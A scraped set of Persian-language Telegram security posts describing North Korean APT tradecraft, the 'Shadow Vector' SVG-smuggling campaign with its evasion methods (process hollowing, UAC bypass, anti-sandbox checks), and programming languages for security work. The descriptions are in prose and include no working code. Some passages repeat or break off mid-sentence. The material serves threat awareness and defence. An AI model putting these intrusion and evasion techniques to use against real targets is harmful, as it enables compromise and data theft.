## افشای تاکتیکهای پیشرفته گروههای هکری کره شمالی: از مهندسی اجتماعی تا جنگ سایبری اقتصادی
گروههای هکرهای (APT) وابسته به کره شمالی، که با نامهایی چون Lazarus ، Kimsuky و Andariel (APT45) شناخته میشوند، به طور فزایندهای در حال تکامل تاکتیکهای خود هستند. این گروهها که زمانی عمدتاً بر جاسوسی سایبری متمرکز بودند، اکنون به بازیگرانی چندوجهی تبدیل شدهاند که اهدافشان از سرقتهای مالی عظیم و حملات به زیرساختهای حیاتی تا عملیاتهای اختلال و باجگیری گسترش یافته است. تحلیلهای اخیر از منابع معتبر امنیتی، تصویری جامع از زرادخانه تکنیکی و استراتژیک این بازیگران دولتی ارائه میدهد.
این نوشته به بررسی تاکتیکها، تکنیکها و رویههای این گروهها میپردازد.
۱. مهندسی اجتماعی: هنر فریب در مقیاس بزرگ
ستون فقرات عملیاتهای کره شمالی، مهندسی اجتماعی فوقالعاده پیچیده و هدفمند است. آنها با درک عمیق از روانشناسی انسان، قربانیان را به برداشتن اولین قدم در زنجیره حمله ترغیب میکنند.
* جعل هویت و فرصتهای شغلی فریبنده: یکی از موفقترین تاکتیکهای آنها، ایجاد پروفایلهای جعلی در شبکههای اجتماعی حرفهای مانند لینکدین (LinkedIn) است. هکرها خود را به عنوان استخدامکننده از شرکتهای بزرگ فناوری و دفاعی جا زده و با ارائه پیشنهادهای شغلی وسوسهانگیز، محققان امنیتی، مهندسان و توسعهدهندگان نرمافزار را هدف قرار میدهند. فرآیند "استخدام" شامل ارسال فایلهای آلوده تحت پوشش آزمونهای مهارتی، اسناد پروژه یا فرمهای استخدامی است.
* فیشینگ نیزهای (Spear-Phishing) هدفمند: برخلاف فیشینگ عمومی، ایمیلهای آنها به دقت برای هر قربانی شخصیسازی میشود. این ایمیلها با جعل هویت شخصیتهای برجسته، خبرنگاران یا کارشناسان، حاوی موضوعاتی مرتبط با حوزه کاری قربانی (مانند مسائل هستهای، سیاست خارجی یا ارزهای دیجیتال) هستند تا اعتماد او را جلب کرده و به باز کردن پیوستهای مخرب یا کلیک بر روی لینکهای آلوده وادارند.
* تاکتیک ClickFix : در این روش، قربانی که در یک فرآیند مصاحبه شغلی جعلی قرار گرفته، به یک وبسایت فریبنده هدایت میشود. در آنجا از او خواسته میشود برای تکمیل یک ارزیابی مهارتی، دستوراتی را (معمولاً با استفاده از ابزار
curl) در خط فرمان خود کپی و اجرا کند. این دستورات در واقع بدافزار را از یک سرور دیگر دانلود و اجرا میکنند.۲. زنجیره تأمین نرمافزار: نفوذ از طریق بستههای متنباز
یکی از نگرانکنندهترین تحولات، هدفگیری زنجیره تأمین نرمافزار است. مهاجمان با آلوده کردن بستهها و کتابخانههای متنباز محبوب، به شبکههای هزاران توسعهدهنده و سازمان به صورت همزمان نفوذ میکنند.
* جعل برند: هکرها بستههای مخربی را با نامهای بسیار شبیه به کتابخانههای معتبر در مخازن عمومی مانند npm (برای Node.js) و PyPI (برای Python) منتشر میکنند. توسعهدهندگان به دلیل یک اشتباه تایپی ساده، نسخه آلوده را دانلود و در پروژههای خود استفاده میکنند.
* تزریق کد مخرب: پس از نصب، این بستههای آلوده انواع ابزارهای جاسوسی مانند کیلاگرها ، (Clipboard Stealers) و (Credential Harvesters) را روی سیستم توسعهدهنده فعال میکنند. این کار به مهاجمان دسترسی بلندمدت به کد منبع، کلیدهای API و زیرساختهای حساس سازمان را میدهد.
۳. بهرهبرداری از پلتفرمهای اطلاعاتی
در یک حرکت هوشمندانه و کنایهآمیز، گروههای کره شمالی خود از ابزارهایی که برای ردیابی آنها ساخته شده، برای بهبود عملیاتشان استفاده میکنند.
* بررسی زیرساخت قبل از حمله: مهاجمان قبل از خرید و استفاده از دامنهها و IPهای جدید برای سرورهای فرماندهی و کنترل (C2)، آنها را در پلتفرمهایی مانند VirusTotal و Validin بررسی میکنند تا اطمینان حاصل کنند که این زیرساختها قبلاً به عنوان مخرب شناسایی و در لیست سیاه قرار نگرفتهاند.
* پایش شناسایی: آنها به طور مداوم این پلتفرمها را برای یافتن نشانههایی از کشف شدن عملیات خود رصد میکنند. این کار به آنها اجازه میدهد تا در صورت لو رفتن یک زیرساخت، به سرعت آن را کنار گذاشته و از جایگزین استفاده کنند و به این ترتیب، تداوم عملیات خود را حفظ نمایند.
۴. تاکتیکهای فنی و بدافزاری
در کنار مهندسی اجتماعی، این گروهها از مجموعهای پیشرفته از ابزارها و تکنیکهای فنی برای نفوذ و پنهانکاری بهره میبرند.
* تغییر استراتژی به سمت باجافزار: گروههایی مانند Andariel که زیرمجموعه Lazarus محسوب میشوند، علاوه بر جاسوسی، به طور فزایندهای از باجافزار برای کسب درآمد مستقیم یا به عنوان پوششی برای عملیاتهای مخربتر استفاده میکنند. این یک تغییر استراتژیک از جاسوسی صرف به سمت عملیاتهای مخرب اقتصادی است.
Please open Telegram to view this post
VIEW IN TELEGRAM
Mr. SAM
* بدافزارهای سفارشی و چندسکویی: این گروهها کتابخانه وسیعی از بدافزارهای اختصاصی خود را توسعه دادهاند که برای سیستمعاملهای مختلف از جمله ویندوز و macOS طراحی شدهاند. این ابزارها شامل تروجانهای دسترسی از راه دور (RATs)، بکدورها و وایپرها (Wipers) میشوند.
* استفاده از آسیبپذیریهای قدیمی (N-Day): در حالی که این گروهها توانایی استفاده از آسیبپذیریهای (Zero-Day) را دارند، اما اغلب به صورت استراتژیک از آسیبپذیریهای شناختهشدهای که هنوز توسط بسیاری از سازمانها وصله (Patch) نشدهاند، بهرهبرداری میکنند. این روش به دلیل هزینه کمتر و مقیاسپذیری بالا، بسیار مؤثر است.
* استخدام کارمندان IT از راه دور: یکی از تاکتیکهای منحصر به فرد آنها، نفوذ دادن نیروهای IT خود به شرکتهای خارجی از طریق دورکاری است. این افراد با هویتهای جعلی و رزومههای ساختگی استخدام شده و از دسترسی داخلی خود برای سرقت دادهها، فعالسازی حملات سایبری و کسب درآمد برای رژیم کره شمالی استفاده میکنند.
اهداف اصلی و نتیجهگیری
عملیات سایبری کره شمالی توسط دو هدف اصلی هدایت میشود:
1. تأمین مالی: به دلیل تحریمهای شدید اقتصادی، حملات سایبری به یک منبع درآمد حیاتی برای این کشور تبدیل شده است. سرقت صدها میلیون دلار از صرافیهای ارز دیجیتال و بانکها، مستقیماً به برنامههای نظامی و هستهای این کشور تزریق میشود.
2. جاسوسی و منافع استراتژیک: جمعآوری اطلاعات از صنایع دفاعی، سازمانهای دولتی و مراکز تحقیقاتی در کشورهای رقیب مانند کره جنوبی، ایالات متحده و ژاپن، یک هدف استراتژیک کلیدی برای پیشبرد اهداف نظامی و سیاسی کره شمالی است.
در نهایت، تاکتیکهای افشا شده نشان میدهد که گروههای هکری کره شمالی بازیگرانی بسیار سازگار، صبور و با انگیزه بالا هستند. آنها به طور مداوم در حال نوآوری و ترکیب روشهای فنی پیچیده با مهندسی اجتماعی هنرمندانه هستند که آنها را به یکی از جدیترین و پایدارترین تهدیدات در چشمانداز امنیت سایبری امروز تبدیل کرده است.
@NullError_ir
* استفاده از آسیبپذیریهای قدیمی (N-Day): در حالی که این گروهها توانایی استفاده از آسیبپذیریهای (Zero-Day) را دارند، اما اغلب به صورت استراتژیک از آسیبپذیریهای شناختهشدهای که هنوز توسط بسیاری از سازمانها وصله (Patch) نشدهاند، بهرهبرداری میکنند. این روش به دلیل هزینه کمتر و مقیاسپذیری بالا، بسیار مؤثر است.
* استخدام کارمندان IT از راه دور: یکی از تاکتیکهای منحصر به فرد آنها، نفوذ دادن نیروهای IT خود به شرکتهای خارجی از طریق دورکاری است. این افراد با هویتهای جعلی و رزومههای ساختگی استخدام شده و از دسترسی داخلی خود برای سرقت دادهها، فعالسازی حملات سایبری و کسب درآمد برای رژیم کره شمالی استفاده میکنند.
اهداف اصلی و نتیجهگیری
عملیات سایبری کره شمالی توسط دو هدف اصلی هدایت میشود:
1. تأمین مالی: به دلیل تحریمهای شدید اقتصادی، حملات سایبری به یک منبع درآمد حیاتی برای این کشور تبدیل شده است. سرقت صدها میلیون دلار از صرافیهای ارز دیجیتال و بانکها، مستقیماً به برنامههای نظامی و هستهای این کشور تزریق میشود.
2. جاسوسی و منافع استراتژیک: جمعآوری اطلاعات از صنایع دفاعی، سازمانهای دولتی و مراکز تحقیقاتی در کشورهای رقیب مانند کره جنوبی، ایالات متحده و ژاپن، یک هدف استراتژیک کلیدی برای پیشبرد اهداف نظامی و سیاسی کره شمالی است.
در نهایت، تاکتیکهای افشا شده نشان میدهد که گروههای هکری کره شمالی بازیگرانی بسیار سازگار، صبور و با انگیزه بالا هستند. آنها به طور مداوم در حال نوآوری و ترکیب روشهای فنی پیچیده با مهندسی اجتماعی هنرمندانه هستند که آنها را به یکی از جدیترین و پایدارترین تهدیدات در چشمانداز امنیت سایبری امروز تبدیل کرده است.
@NullError_ir
کمپین بدافزاری پیشرفته : مسلحسازی فایلهای SVG و SWF برای حملات پنهانکارانه (شروع از کلمبیا)
اخیراً یک کمپین بدافزاری پیچیده و هدفمند، کاربران در کلمبیا را با استفاده از تکنیکهای خلاقانه و پنهانکارانه مورد حمله قرار داده است. این کمپین که با نام Shadow Vector نیز شناخته میشود، با سوءاستفاده از فایلهای گرافیکی (SVG) و فایلهای فلش (SWF)، مکانیزمهای امنیتی سنتی را دور زده و بدافزارهای دسترسی از راه دور (RATs) خطرناکی مانند AsyncRAT و RemcosRAT را بر روی سیستم قربانیان نصب میکند. در تشریح جزئیات این حملات، با تمرکز ویژه بر تکنیکهای پیشرفته فرار از تشخیص (Evasion Techniques) که توسط مهاجمان به کار گرفته شده، با ما باشید.
زنجیره حمله: از ایمیل فیشینگ تا کنترل کامل سیستم
حمله با یک ایمیل فیشینگ هدفمند (Spear-Phishing) آغاز میشود. این ایمیلها با مهندسی اجتماعی دقیق طراحی شده و خود را به عنوان یک ابلاغیه یا اعلان قضایی فوری از سوی نهادهای دولتی کلمبیا جا میزنند. این رویکرد، حس اضطرار و اعتماد را در قربانی القا کرده و او را به باز کردن پیوست ترغیب میکند.
1. پیوست مخرب (SVG) برخلاف حملات رایج که از فایلهای اجرایی یا اسناد آفیس استفاده میکنند، در این کمپین از یک فایل SVG به عنوان پیوست استفاده میشود. فایلهای SVG، که مبتنی بر XML هستند، توسط مرورگرهای وب به عنوان تصویر رندر میشوند. همین ویژگی باعث میشود بسیاری از فیلترهای امنیتی ایمیل، آنها را به عنوان فایلهای بیخطر طبقهبندی کنند.
2. اجرای کد در مرورگر هنگامی که قربانی فایل SVG را باز میکند، این فایل مستقیماً در مرورگر او اجرا میشود. مهاجمان کد مخرب JavaScript را درون تگهای
<noscript> فایل SVG جاسازی کردهاند.3. تکنیک قاچاق (SVG Smuggling) کد جاوا اسکریپت فعال شده، یک فایل آرشیو ZIP رمزگذاری شده (معمولاً حاوی بدافزار) را که به صورت Base64 در خود فایل SVG کدگذاری شده است، بازسازی و رمزگشایی میکند و سپس یک پنجره دانلود را به کاربر نمایش میدهد تا فایل را ذخیره کند. این تکنیک که به "قاچاق SVG" معروف است، به مهاجمان اجازه میدهد تا محموله مخرب را بدون نیاز به دانلود مستقیم از یک سرور خارجی، به سیستم قربانی منتقل کنند.
4. بارگذاری چندمرحلهای فایل ZIP دانلود شده، حاوی ترکیبی از یک فایل اجرایی قانونی و یک فایل DLL مخرب است. با اجرای فایل قانونی، تکنیک DLL Side-Loading فعال شده و به جای DLL اصلی، DLL مخرب بارگذاری و اجرا میشود.
5. نصب بدافزار نهایی در نهایت، این زنجیره منجر به اجرای بدافزارهای خطرناکی مانند AsyncRAT و RemcosRAT میشود. این تروجانهای دسترسی از راه دور، کنترل کامل سیستم قربانی را به مهاجم میدهند و امکان سرقت اطلاعات حساس، کیلاگینگ (ثبت کلیدهای فشرده شده) و حتی اجرای باجافزار را فراهم میآورند.
تکنیکهای فرار از تشخیص: قلب تپنده عملیات
موفقیت این کمپین به شدت به تکنیکهای هوشمندانهای که برای پنهان ماندن از دید ابزارهای امنیتی به کار میگیرد، وابسته است. این تکنیکها نشاندهنده سطح بالای بلوغ فنی و عملیاتی مهاجمان است.
۱. سوءاستفاده از فرمتهای فایل قابل اعتماد (SVG & SWF)
مهاجمان عمداً فرمتهایی را انتخاب کردهاند که کمتر توسط سیستمهای امنیتی به عنوان تهدید شناخته میشوند. SVG به عنوان یک فرمت تصویری، اغلب از بررسیهای دقیق امنیتی عبور میکند. توانایی این فرمت در اجرای کدهای JavaScript، آن را به یک ابزار ایدهآل برای مرحله اولیه نفوذ تبدیل کرده است.
۲. مبهمسازی چندلایه (Multi-Layered Obfuscation)
کدهای JavaScript جاسازی شده در فایل SVG به شدت مبهمسازی شدهاند تا تحلیل ایستا (Static Analysis) را غیرممکن یا بسیار دشوار سازند. این مبهمسازی شامل موارد زیر است:
* کدگذاری Base64: بخشهای اصلی کد و محموله نهایی به صورت رشتههای Base64 کدگذاری میشوند و در لحظه اجرا رمزگشایی میگردند.
* تکنیکهای پلیمورفیک: هر نمونه از فایل SVG توزیعشده، دارای تغییرات جزئی در کد و ساختار است. این تغییرات باعث میشود که امضاهای مبتنی بر فایل (File-based Signatures) کارایی خود را از دست بدهند.
* تزریق کدهای زائد (Garbage Code): مقادیر زیادی کد بیمعنی و زائد به فایل اضافه میشود تا انتروپی فایل را افزایش داده و ابزارهای تحلیل خودکار را به اشتباه بیندازد.
۳. دور زدن کنترل حساب کاربری (UAC Bypass)
پس از نفوذ اولیه، بدافزار برای اجرای عملیات با سطح دسترسی بالاتر، از تکنیکهای شناختهشده برای دور زدن مکانیزم User Account Control (UAC) در ویندوز استفاده میکند. این کار به بدافزار اجازه میدهد تا بدون نمایش هشدارهای امنیتی به کاربر، تغییرات مهمی در سیستم ایجاد کند.
Please open Telegram to view this post
VIEW IN TELEGRAM
Mr. SAM
۴. تزریق فرآیند (Process Injection)
این تکنیک یکی از کلیدیترین روشهای فرار از تشخیص است. به جای اجرای مستقیم بدافزار به عنوان یک فرآیند مستقل (که به راحتی توسط آنتیویروسها شناسایی میشود)، مهاجمان از روش Process Hollowing استفاده میکنند.
در این روش:
* یک فرآیند قانونی و معتبر سیستمعامل (مانند
* کد مخرب بدافزار به فضای حافظه اختصاصیافته به این فرآیند قانونی تزریق میشود.
* فرآیند از حالت تعلیق خارج شده و اجرای خود را از سر میگیرد، اما این بار کد مخرب را اجرا میکند.
این تکنیک باعث میشود که بدافزار تحت پوشش یک فرآیند معتبر و امضاشده مایکروسافت فعالیت کند و از دید بسیاری از راهکارهای امنیتی مبتنی بر رفتار (Behavioral-based) پنهان بماند.
۵. سوءاستفاده از زیرساختهای عمومی و معتبر
مهاجمان برای میزبانی مراحل بعدی محموله خود (Payloads) از سرویسهای ابری عمومی و معتبر مانند Bitbucket ، Dropbox و GitHub استفاده میکنند. از آنجایی که این دامنهها توسط سازمانها به عنوان منابع قابل اعتماد شناخته میشوند، ترافیک شبکه مرتبط با آنها به ندرت مسدود یا مشکوک تلقی میشود. این امر به بدافزار اجازه میدهد تا به راحتی فایلهای مورد نیاز خود را دانلود کرده و با سرور فرماندهی و کنترل (C2) ارتباط برقرار کند.
۶. تکنیکهای ضد تحلیل (Anti-Analysis)
بدافزار مجهز به مکانیزمهایی برای تشخیص اجرای خود در محیطهای تحلیل مانند ماشینهای مجازی (VM) یا سندباکس (Sandbox) است. در صورت تشخیص چنین محیطهایی، بدافزار رفتار خود را تغییر داده یا به کلی از اجرا خودداری میکند تا از تحلیل و کشف توسط محققان امنیتی جلوگیری نماید.
نتیجهگیری و توصیههای امنیتی
کمپین "Shadow Vector" نمونهای برجسته از تکامل تهدیدات سایبری است که در آن مهاجمان با ترکیب خلاقانه مهندسی اجتماعی، سوءاستفاده از فرمتهای فایل غیرمنتظره و بهکارگیری تکنیکهای پیشرفته فرار از تشخیص، دفاع چندلایه سازمانها را به چالش میکشند. این حمله نشان میدهد که دیگر نمیتوان به تمایز سنتی میان "محتوا" (مانند یک تصویر) و "کد" (یک فایل اجرایی) اعتماد کرد.
برای مقابله با چنین تهدیداتی، سازمانها و اشخاص باید رویکردی جامع و عمیقتر به امنیت اتخاذ کنند:
* آموزش : افزایش آگاهی در مورد حملات فیشینگ پیشرفته و خطرات باز کردن پیوستهای غیرمنتظره، حتی اگر به ظاهر بیخطر باشند.
* فیلترینگ پیشرفته ایمیل: پیادهسازی راهحلهایی که قادر به تحلیل عمیق محتوای فایلهای پیوست، از جمله فایلهای SVG، و شناسایی کدهای جاسازیشده باشند.
* امنیت (Endpoint Security): استفاده از راهکارهای (Endpoint Detection and Response) که قادر به نظارت بر رفتار فرآیندها، شناسایی تکنیکهایی مانند Process Injection و جلوگیری از اجرای کدهای مشکوک در بستر فرآیندهای قانونی هستند.
* تحلیل ترافیک شبکه: نظارت دقیق بر ترافیک خروجی شبکه، حتی به مقاصد معتبر، برای شناسایی الگوهای ارتباطی غیرعادی که میتواند نشانه فعالیت بدافزار باشد.
* مسدودسازی اسکریپتها: در صورت امکان، اجرای اسکریپتها در فایلهای تصویری مانند SVG را از طریق سیاستهای امنیتی مرورگر محدود کنید.
@NullError_ir
این تکنیک یکی از کلیدیترین روشهای فرار از تشخیص است. به جای اجرای مستقیم بدافزار به عنوان یک فرآیند مستقل (که به راحتی توسط آنتیویروسها شناسایی میشود)، مهاجمان از روش Process Hollowing استفاده میکنند.
در این روش:
* یک فرآیند قانونی و معتبر سیستمعامل (مانند
AddInProcess32.exe) در حالت تعلیق (Suspended) ایجاد میشود.* کد مخرب بدافزار به فضای حافظه اختصاصیافته به این فرآیند قانونی تزریق میشود.
* فرآیند از حالت تعلیق خارج شده و اجرای خود را از سر میگیرد، اما این بار کد مخرب را اجرا میکند.
این تکنیک باعث میشود که بدافزار تحت پوشش یک فرآیند معتبر و امضاشده مایکروسافت فعالیت کند و از دید بسیاری از راهکارهای امنیتی مبتنی بر رفتار (Behavioral-based) پنهان بماند.
۵. سوءاستفاده از زیرساختهای عمومی و معتبر
مهاجمان برای میزبانی مراحل بعدی محموله خود (Payloads) از سرویسهای ابری عمومی و معتبر مانند Bitbucket ، Dropbox و GitHub استفاده میکنند. از آنجایی که این دامنهها توسط سازمانها به عنوان منابع قابل اعتماد شناخته میشوند، ترافیک شبکه مرتبط با آنها به ندرت مسدود یا مشکوک تلقی میشود. این امر به بدافزار اجازه میدهد تا به راحتی فایلهای مورد نیاز خود را دانلود کرده و با سرور فرماندهی و کنترل (C2) ارتباط برقرار کند.
۶. تکنیکهای ضد تحلیل (Anti-Analysis)
بدافزار مجهز به مکانیزمهایی برای تشخیص اجرای خود در محیطهای تحلیل مانند ماشینهای مجازی (VM) یا سندباکس (Sandbox) است. در صورت تشخیص چنین محیطهایی، بدافزار رفتار خود را تغییر داده یا به کلی از اجرا خودداری میکند تا از تحلیل و کشف توسط محققان امنیتی جلوگیری نماید.
نتیجهگیری و توصیههای امنیتی
کمپین "Shadow Vector" نمونهای برجسته از تکامل تهدیدات سایبری است که در آن مهاجمان با ترکیب خلاقانه مهندسی اجتماعی، سوءاستفاده از فرمتهای فایل غیرمنتظره و بهکارگیری تکنیکهای پیشرفته فرار از تشخیص، دفاع چندلایه سازمانها را به چالش میکشند. این حمله نشان میدهد که دیگر نمیتوان به تمایز سنتی میان "محتوا" (مانند یک تصویر) و "کد" (یک فایل اجرایی) اعتماد کرد.
برای مقابله با چنین تهدیداتی، سازمانها و اشخاص باید رویکردی جامع و عمیقتر به امنیت اتخاذ کنند:
* آموزش : افزایش آگاهی در مورد حملات فیشینگ پیشرفته و خطرات باز کردن پیوستهای غیرمنتظره، حتی اگر به ظاهر بیخطر باشند.
* فیلترینگ پیشرفته ایمیل: پیادهسازی راهحلهایی که قادر به تحلیل عمیق محتوای فایلهای پیوست، از جمله فایلهای SVG، و شناسایی کدهای جاسازیشده باشند.
* امنیت (Endpoint Security): استفاده از راهکارهای (Endpoint Detection and Response) که قادر به نظارت بر رفتار فرآیندها، شناسایی تکنیکهایی مانند Process Injection و جلوگیری از اجرای کدهای مشکوک در بستر فرآیندهای قانونی هستند.
* تحلیل ترافیک شبکه: نظارت دقیق بر ترافیک خروجی شبکه، حتی به مقاصد معتبر، برای شناسایی الگوهای ارتباطی غیرعادی که میتواند نشانه فعالیت بدافزار باشد.
* مسدودسازی اسکریپتها: در صورت امکان، اجرای اسکریپتها در فایلهای تصویری مانند SVG را از طریق سیاستهای امنیتی مرورگر محدود کنید.
@NullError_ir
زبانهای برنامهنویسی برای امنیت سایبری
نکته : ترتیب و شماره گذاری دلیل ارجحیت زبان های برنامه نویسی بر یکدیگر نیست
امنیت سایبری دیگر یک انتخاب نیست، بلکه یک ضرورت است. با افزایش روزافزون تهدیدات دیجیتال، تقاضا برای متخصصان ماهر امنیت سایبری به شدت افزایش یافته است. یکی از مهارتهای کلیدی در این حوزه، تسلط بر زبانهای برنامهنویسی است. اما با وجود گزینههای متعدد، کدام زبان برای یک متخصص امنیت سایبری بهترین انتخاب است؟
این راهنما به شما کمک میکند تا با زبانهای برنامهنویسی برای امنیت سایبری در مقطع کنونی و کاربردهایشان آشنا شوید.
چرا متخصصان امنیت سایبری به برنامهنویسی نیاز دارند؟
* فرایندها را خودکار کنند: اسکریپتنویسی برای خودکارسازی وظایف تکراری مانند اسکن شبکه، تحلیل لاگها و شناسایی ناهنجاریها، کارایی را به شدت بالا میبرد.
* ابزارهای سفارشی بسازند: گاهی ابزارهای موجود برای یک نیاز خاص کافی نیستند. توانایی ساخت ابزارهای سفارشی برای تست نفوذ، تحلیل بدافزار یا فارنزیک دیجیتال یک مزیت بزرگ است.
* کدهای مخرب را درک و تحلیل کنند: برای مقابله با بدافزارها، ابتدا باید بتوانید کد آنها را درک، مهندسی معکوس و تحلیل کنید.
* آسیبپذیریها را در کد منبع پیدا کنند: با بررسی کد منبع (Source Code Review)، میتوان آسیبپذیریها را قبل از آنکه توسط مهاجمان اکسپلویت شوند، شناسایی و رفع کرد.
* حملات را شبیهسازی کنند: ساخت اسکریپتها و برنامههایی برای شبیهسازی حملات (مانند حملات فیشینگ یا اسکریپتنویسی بین سایتی - XSS) به درک بهتر مکانیزمهای دفاعی کمک میکند.
انتخاب زبان برنامهنویسی مناسب به حوزه تخصصی شما در امنیت سایبری بستگی دارد. در ادامه، بهترین زبانها بر اساس کاربردشان دستهبندی شدهاند.
۱۔ پایتون (Python): پادشاه بیچونوچرای امنیت سایبری
پایتون به دلیل سادگی، خوانایی بالا و کتابخانههای قدرتمند و گسترده، محبوبترین زبان در میان متخصصان امنیت سایبری است.
* کاربردها:
* خودکارسازی وظایف (Automation): کتابخانههایی مانند
os , subprocess و shutil برای خودکارسازی وظایف امنیتی ایدهآل هستند.* تست نفوذ (Penetration Testing): ابزارهای معروفی مانند
Scapy (برای دستکاری پکتهای شبکه) ، Requests (برای تعامل با وبسرویسها) و BeautifulSoup (برای وب اسکرپینگ) همگی مبتنی بر پایتون هستند.* تحلیل بدافزار (Malware Analysis): کتابخانههایی چون
Pydbg و Volatility به تحلیل رفتار بدافزارها کمک میکنند.* اسکن شبکه: ساخت اسکنرهای پورت و شبکه با استفاده از سوکتهای پایتون بسیار ساده است.
* چرا پایتون؟
* یادگیری آسان: سینتکس ساده و نزدیک به زبان انگلیسی، آن را به گزینهای عالی برای مبتدیان تبدیل کرده است.
* جامعه بزرگ و پشتیبانی قوی: هزاران کتابخانه و فریمورک آماده برای امنیت سایبری وجود دارد و جامعه کاربری بزرگی برای حل مشکلات در دسترس است.
* چندمنظوره بودن: از توسعه وب تا یادگیری ماشین و امنیت سایبری، پایتون در همه جا کاربرد دارد.
۲۔ جاوا اسکریپت (JavaScript): زبان وب و امنیت آن
با توجه به اینکه اکثر حملات مدرن از طریق وباپلیکیشنها انجام میشود، تسلط بر جاوا اسکریپت برای هر متخصص امنیت وب ضروری است.
* کاربردها:
* امنیت سمت کلاینت (Client-Side Security): درک نحوه عملکرد جاوا اسکریپت در مرورگر به شناسایی و مقابله با حملاتی مانند Cross-Site Scripting (XSS) و Cross-Site Request Forgery (CSRF) کمک میکند.
* تحلیل کدهای مخرب: بسیاری از اسکریپتهای مخرب که در وبسایتها تزریق میشوند، با جاوا اسکریپت نوشته شدهاند.
* توسعه ابزارهای تست نفوذ وب: فریمورک
Node.js به متخصصان اجازه میدهد تا ابزارهای قدرتمندی برای اسکن وبسایتها و خودکارسازی حملات شبیهسازیشده بسازند.* چرا جاوا اسکریپت؟
* فراگیری: تقریباً تمام وبسایتهای مدرن از جاوا اسکریپت استفاده میکنند.
* قدرت در سمت سرور: با
Node.js ، جاوا اسکریپت به یک زبان قدرتمند برای توسعه ابزارهای شبکهای و سمت سرور تبدیل شده است.* جامعه فعال: ابزارها و فریمورکهای بیشماری مانند
JSHint و ESLint برای تحلیل و امنسازی کد جاوا اسکریپت وجود دارند.۳۔ Bash/PowerShell: زبانهای فرمان برای سیستمعاملها
این دو زبان اسکریپتنویسی، ابزارهای اصلی برای تعامل مستقیم با سیستمعاملهای لینوکس (Bash) و ویندوز (PowerShell) هستند.
Please open Telegram to view this post
VIEW IN TELEGRAM
Mr. SAM
* ۔Bash (Bourne Again SHell):
* کاربردها: مدیریت سیستمهای لینوکسی، خودکارسازی وظایف مدیریت سرور، تحلیل لاگها، و نوشتن اسکریپتهای ساده برای تست نفوذ. ابزارهای خط فرمان قدرتمند لینوکس مانند
* چرا Bash؟ زبان استاندارد شل در تمام توزیعهای لینوکس و macOS است و برای هر ادمین سیستم یا متخصص امنیتی که با این سیستمها کار میکند، ضروری است.
* ۔PowerShell:
* کاربردها: ابزار اصلی مایکروسافت برای خودکارسازی و مدیریت سیستمعامل ویندوز. PowerShell به رجیستری ویندوز، WMI (Windows Management Instrumentation) و .NET Framework دسترسی کامل دارد و برای فارنزیک دیجیتال، مدیریت سیاستهای امنیتی و پاسخ به حوادث در محیطهای ویندوزی بسیار قدرتمند است.
* چرا PowerShell؟ برای هر متخصص امنیتی که در اکوسیستم مایکروسافت فعالیت میکند، یادگیری PowerShell یک الزام است.
۴۔ ++C/C : زبانهای سطح پایین برای تحلیل عمیق
این دو زبان به دلیل عملکرد بالا و دسترسی سطح پایین به حافظه، برای تحلیل بدافزار، مهندسی معکوس و توسعه نرمافزارهای امنیتی با کارایی بالا استفاده میشوند.
* کاربردها:
* مهندسی معکوس (Reverse Engineering): بسیاری از نرمافزارها و بدافزارها با ++C/C نوشته شدهاند. برای درک عملکرد آنها در سطح باینری، آشنایی با این زبانها ضروری است.
* تحلیل آسیبپذیریهای حافظه: آسیبپذیریهای کلاسیک مانند سرریز بافر (Buffer Overflow) و Use-After-Free در کدهایی که با این زبانها نوشته شدهاند رایج هستند.
* توسعه روتکیتها و اکسپلویتها: مهاجمان از این زبانها برای نوشتن کدهای مخرب سطح پایین استفاده میکنند و مدافعان نیز برای درک و مقابله با آنها به این دانش نیاز دارند.
* چرا ++C/C ؟
* کنترل کامل بر منابع سیستم: دسترسی مستقیم به حافظه و سختافزار، آنها را برای کارهای بسیار دقیق و حساس به عملکرد ایدهآل میسازد.
* بنیاد و اساس سیستمعاملها: هسته سیستمعاملهای ویندوز و لینوکس با C نوشته شده است.
۵۔ SQL: زبان تعامل با پایگاهداده
اگرچه SQL یک زبان برنامهنویسی کامل نیست، اما برای امنیت سایبری حیاتی است. تقریباً تمام اپلیکیشنها از پایگاه داده برای ذخیره اطلاعات حساس (نام کاربری، رمز عبور، اطلاعات مشتریان) استفاده میکنند.
* کاربردها:
* شناسایی و جلوگیری از حملات تزریق SQL (SQL Injection): این حمله یکی از رایجترین و مخربترین حملات وب است. متخصص امنیت باید بداند چگونه یک کوئری SQL مخرب ساخته میشود تا بتواند از آن جلوگیری کند.
* فارنزیک پایگاه داده: استخراج و تحلیل دادهها از پایگاه دادههای آسیبدیده برای تحقیق در مورد یک نشت اطلاعاتی.
* تست امنیت پایگاه داده: بررسی تنظیمات امنیتی، کنترل دسترسیها و رمزنگاری دادهها در پایگاه داده.
* چرا SQL ؟
* فراگیری: تقریباً تمام سیستمهای مدیریت پایگاه داده (MySQL, PostgreSQL, SQL Server, Oracle) از SQL استفاده میکنند.
* اهمیت دادهها: حفاظت از دادهها هسته اصلی امنیت اطلاعات است و SQL زبان اصلی تعامل با این دادههاست.
زبانهای دیگر که ارزش یادگیری دارند
۔ Go (Golang): این زبان که توسط گوگل توسعه داده شده، به دلیل کارایی بالا، سادگی در برنامهنویسی همزمان (Concurrency) و کامپایل شدن به یک فایل باینری واحد، برای توسعه ابزارهای شبکهای و امنیتی مدرن بسیار محبوب شده است.
۔ PHP: اگرچه محبوبیت آن کاهش یافته، اما هنوز میلیونها وبسایت (مانند وردپرس) با PHP کار میکنند. درک PHP برای تحلیل و امنسازی این سیستمها ضروری است.
۔ Ruby: عمدتاً به دلیل فریمورک قدرتمند Metasploit (که با Ruby نوشته شده) در میان متخصصان تست نفوذ محبوب است.
پس زبان Rust چه میشود؟ چرا نادیده گرفته می شود؟
غیبت Rust در لیست بالا یک چشمپوشی قابل توجه است، به خصوص وقتی صحبت از آینده امنیت سایبری باشد. Rust به سرعت در حال تبدیل شدن به یکی از مهمترین زبانها برای نوشتن نرمافزارهای امن است.
* کاربردها: مدیریت سیستمهای لینوکسی، خودکارسازی وظایف مدیریت سرور، تحلیل لاگها، و نوشتن اسکریپتهای ساده برای تست نفوذ. ابزارهای خط فرمان قدرتمند لینوکس مانند
grep , awk , sed , nmap , netcat و tcpdump همگی از طریق Bash قابل کنترل و اسکریپتنویسی هستند.* چرا Bash؟ زبان استاندارد شل در تمام توزیعهای لینوکس و macOS است و برای هر ادمین سیستم یا متخصص امنیتی که با این سیستمها کار میکند، ضروری است.
* ۔PowerShell:
